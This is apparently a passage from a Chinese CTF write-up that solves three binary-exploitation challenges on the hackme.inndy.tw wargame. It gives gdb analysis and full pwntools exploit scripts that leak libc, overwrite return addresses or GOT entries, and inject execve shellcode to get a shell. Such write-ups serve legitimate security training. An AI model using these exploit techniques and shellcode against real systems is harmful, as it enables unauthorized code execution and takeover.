.text:00000731 mov eax, [ebp+arg_0]
.text:00000734 mov edx, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000736 mov eax, [ebp+arg_0]
.text:00000739 mov eax, ds:(dword_1FC4 - 1FC0h)[eax+edx*4]
.text:0000073D pop ebp
.text:0000073E retn
.text:0000073E ; } // starts at 717
.text:0000073E stack_pop endp

可以看到,在进行push操作的时候mov [edx+eax*4+4], ecx是与ecx有关,pop的时候mov eax, ds:(dword_1FC4 - 1FC0h)[eax+edx*4]也是跟exc有关,到gdb里看一波

可以看到ecx存的是push的值(我输入的是123=0x7b)eax是与ebp的偏移(将初始esp看成ebp吧),edx是ebp,这里应该就能看出一开始给的图的上半部分了吧

单步一下可以看到我们push的值已经入栈,push的操作明白了我们来看一下pop的操作

因为我们已经先push一个0x7b,所以这次pop指向的就是0xffffcc4c处的0x7b并且esp更新为0(-1),这就是pop的过程,理清这两个过程就可以来实现上面的4个思路了

首先要修改esp的值就是先将esp指向esp的上方,即0xffffcc44处,初始esp是指向0xffffcc48,所以只需要pop一下就可以了,然后就是修改esp的值 ,用push,修改为多少呢

修改esp指向libc_start_main的位置,也就是0x59 = 89,之后再用pop将地址泄漏出来,进而算出偏移,得到system'/bin/sh'的地址,得到地址之后就要找到main函数的返回地址,覆盖为system

我们再往下看多一点栈的内容,回到main,在0x8fb处下个断点,单步往下

看到这个栈帧是不是很熟悉,继续单步到ret处查看栈

对比一下可以很清楚的发现main函数的返回地址是第二个的libc_start_main而不是我们用来泄漏地址的位置,这就是一开始那张图的下半部分了,好了,那开始覆盖:将0xffffcdbc覆盖为system_addr,将0xffffcdc4覆盖为binsh_addr

写入的时候用还是跟泄漏地址时一样的做法,先将esp指向其上方,然后用push压入相应值

不过这里要注意的是,scanf的格式化字符是%d,它能接收的最大值是0x7fffffff而我们要写入的真实地址都是0xf7开头的,明显太大,所以我们要用负数去写,0xffffffff == -10xfffffffe == -2这样子就能写入我们要的真实地址了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#-*-coding:utf-8-*-
from pwn import *
# p = process('./stack')
p = remote("hackme.inndy.tw","7716")
elf = ELF('./stack')
# libc = elf.libc
libc = ELF('./libc-2.23.so.i386')
context.log_level = 'debug'
p.recvuntil('Cmd >>\n')
p.sendline('p')
p.recvuntil('Cmd >>\n')
# 泄漏libc_start_main
p.sendline('i\n89')
p.recvuntil('Cmd >>\n')
p.sendline('p')
p.recvuntil('Pop -> ')
libc_main_addr = (int(p.recvuntil('\n')[:-1],10)&0xffffffff)-247
offset = libc_main_addr - libc.symbols['__libc_start_main']
system_libc = libc.symbols['system']
binsh_libc = libc.search("/bin/sh").next()
system_addr = system_libc + offset
binsh_addr = binsh_libc + offset
log.info("libc_main_addr --> {}".format(hex(libc_main_addr)))
log.info("offset --> {}".format(hex(offset)))
log.info("system_addr --> {}".format(hex(system_addr)))
log.info("binsh_addr --> {}".format(hex(binsh_addr)))
pause()
p.recvuntil('Cmd >>\n')
p.sendline('c')
p.recvuntil('Cmd >>\n')
p.sendline('p')
p.recvuntil('Cmd >>\n')
# 写入binsh
p.sendline('i\n94')
p.recvuntil('Cmd >>\n')
p.sendline('i')
push_binsh = 0xffffffff - binsh_addr+1
payload = '-' + str(push_binsh)
print payload
p.sendline(payload)
# 写入system_addr
for i in range(3):
p.recvuntil('Cmd >>\n')
p.sendline('p')
p.recvuntil('Cmd >>\n')
p.sendline('i')
push_system = 0xffffffff - system_addr + 1
payload = '-' + str(push_system)
p.sendline(payload)
p.recvuntil('Cmd >>\n')
p.sendline('x')
p.interactive()

leave_msg

这一题可真是长姿势了呀,主要的知识有:

  1. strlen函数遇到'\x00'就会停止计算长度
  2. atoi函数会跳过字符串前面的空格或者换行符,直到遇到数字才进行转换
  3. 也是最骚的,got表不一定是写入地址,也可以写入可执行代码(在特定的条件下:比如这一题got表是可执行的,就可以)

其实一开始分析main函数的时候,就发现了改写got表的漏洞,但是因为既加了长度限定,又加了负数检测,一时间就卡住不知如何下手,但其实这几处保护是有缺陷的,这就涉及到了我上面讲到的3点知识,只要我们在8个字符后加'\x00'就可以路过strlen继续往栈输入内容,对于负数检测因为nptr是输入字符串的第一个字符,所以我们只要输入空格+负数,就可以跳这个检测了。接下来就是核心了,因为你会发现虽然可以修改got表了,但是,修改成哪个地址?这处程序既没有后门函数,也没有可泄漏地址的漏洞。

这里可以看到 0x804a000 到 0x804b000 居然是可执行的,这就说明我们可以修改got表为可执行代码了,但是同样有个问题就是,可写的代码长度只有8,所以是无法构造shellcode的,只能进行间接的跳转,而且程序的保护并没有开启NX,所以可以往栈里写入shellcode 然后修改got表为add esp ,*** jmp esp执行shellcode,所以接下来就是要先确定好这个偏移

构造一个'a'*8 + '\x00' + 'b'*8这样'a'*8就会写入到puts的got表,整个buf也会写到栈中去,再在下一次的puts处下断点查看偏移:0x0804861d

si,进入puts函数内部,这里就可以看到输入的字符相对esp的偏移是0x30,而我们的shellcode是在’\x00’后面,也就是’b’*8,所以got表中的跳转代码就应该是add esp,0x30+len(jmp)+1 ; jmp esp,就可以指向shellcode 了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#-*-coding:utf-8-*-
from pwn import *
# p = process('./leave_msg')
p = remote("hackme.inndy.tw","7715")
context.log_level = 'debug'
# 覆盖printf的got表 -76/4
# 覆盖puts的got表 -64/4
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp = '''
add esp,0x36
jmp esp
'''
jmp = asm(jmp)
log.info("jmp_len --> {}".format(len(jmp))) #5
pause()
p.recvuntil("message:\n")
payload = jmp
payload += '\x00'
payload += shellcode_x86
# p.sendline("aaaaaaaa\x00bbbbbbbb") # 跟esp的偏移是0x30(+9?就是'bbbbbbbb'跟 esp的偏移)
p.sendline(payload)
p.recvuntil("slot?\n")
# gdb.attach(p,"b *0x8048661")
# pause()
p.sendline(" -16")
p.interactive()

very_overflow

这题就有意思了,同样是可以实现任意地址读写,不过这次是通过控制结构体的指针来实现,不过这里定义的结构体有点简单,只有指向下一个结构体的指针next和数据data

先add 一个数据进去,在gdb中下断点看一下情况

在这里可以看到结构体在栈中的存储方式是 node->next node->data(不明白aa上面为什么是next指针的话,可以再add一个然后查看栈就明白了)而且node->next = (node + strlen(node->data) + 5);,所以当add多个node的时候,next跟data是紧挨着排下来的,data跟next中间只隔着一个'\x00',我一开始在知道这个布局后并没有想到什么有用的利用条件(还是太菜了),但是正常这样紧挨着的布局,使得一种可能:修改node[0]的data从而覆盖node[1]在next达到控制next指针的目的,控制了指向就可以任意地址读写了。

因为show函数会将next指向打印出来,这样就知道了栈地址,计算出node[0]->next跟libc_start_main的偏移,就可以修改指向通过show将它打印出来,接下来算出system的真实地址用同样的方法写入到返回地址处就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#-*-coding:utf-8-*-
from pwn import *
context.log_level = 'debug'
# p = process('./very_overflow')
p = remote("hackme.inndy.tw","7705")
elf = ELF('./very_overflow')
libc = ELF('./libc-2.23.so.i386')
# libc = elf.libc
p.recvuntil('Your action: ')
p.sendline('1')
p.recvuntil('Input your note: ')
p.sendline('ab')
p.recvuntil('Your action: ')
p.sendline('1')
p.recvuntil('Input your note: ')
p.sendline('ab')
# 得到node[0]->next,进而计算出libc_start_main的位置
p.recvuntil('Your action: ')
p.sendline('3')
p.recvuntil('Which note to show: ')
p.sendline('0')
p.recvuntil('Next note: ')
main_addr = int(p.recv(10),16) + 0x4228
ret_addr = main_addr - 0x4228 - 0x2c
log.info("point to libc_main --> {}".format(hex(main_addr)))
log.info("ret_addr --> {}".format(hex(ret_addr)))
# pause()
# 修改指针指向libc_start_main
p.recvuntil('Your action: ')
p.sendline('2')
p.recvuntil('Which note to edit: ')
p.sendline('0')
p.recvuntil('Your new data: ')
# gdb.attach(p,"b *0x8048705")
# pause()
p.sendline('aaaa'+p32(main_addr))
# show libc_start_main
p.recvuntil('Your action: ')
p.sendline('3')
p.recvuntil('Which note to show: ')
# gdb.attach(p,"b*0x804879c")
# pause()
p.sendline('2')
p.recvuntil('Next note: ')
libc_main = int(p.recv(10),16)-247
log.info("libc_main --> {}".format(hex(libc_main)))
# pause()
offset = libc_main - libc.symbols['__libc_start_main']
system_addr = offset + libc.symbols['system']
binsh_addr = offset + libc.search("/bin/sh").next()
log.info("system_addr --> {}".format(hex(system_addr)))
log.info("binsh_addr --> {}".format(hex(binsh_addr)))
# pause()
# 修改指针指向ret地址上一个位置(即将ret地址当作node->data)
p.recvuntil('Your action: ')
p.sendline('2')
p.recvuntil('Which note to edit: ')
p.sendline('0')
p.recvuntil('Your new data: ')
# gdb.attach(p,"b *0x8048705")
# pause()
p.sendline('aaaa'+p32(ret_addr))
# 写入
p.recvuntil('Your action: ')
p.sendline('2')
p.recvuntil('Which note to edit: ')
p.sendline('2')
p.recvuntil('Your new data: ')
payload = p32(system_addr) + 'bbbb' + p32(binsh_addr)
# gdb.attach(p,"b *0x8048705")
# pause()
p.sendline(payload)

p.interactive()
0%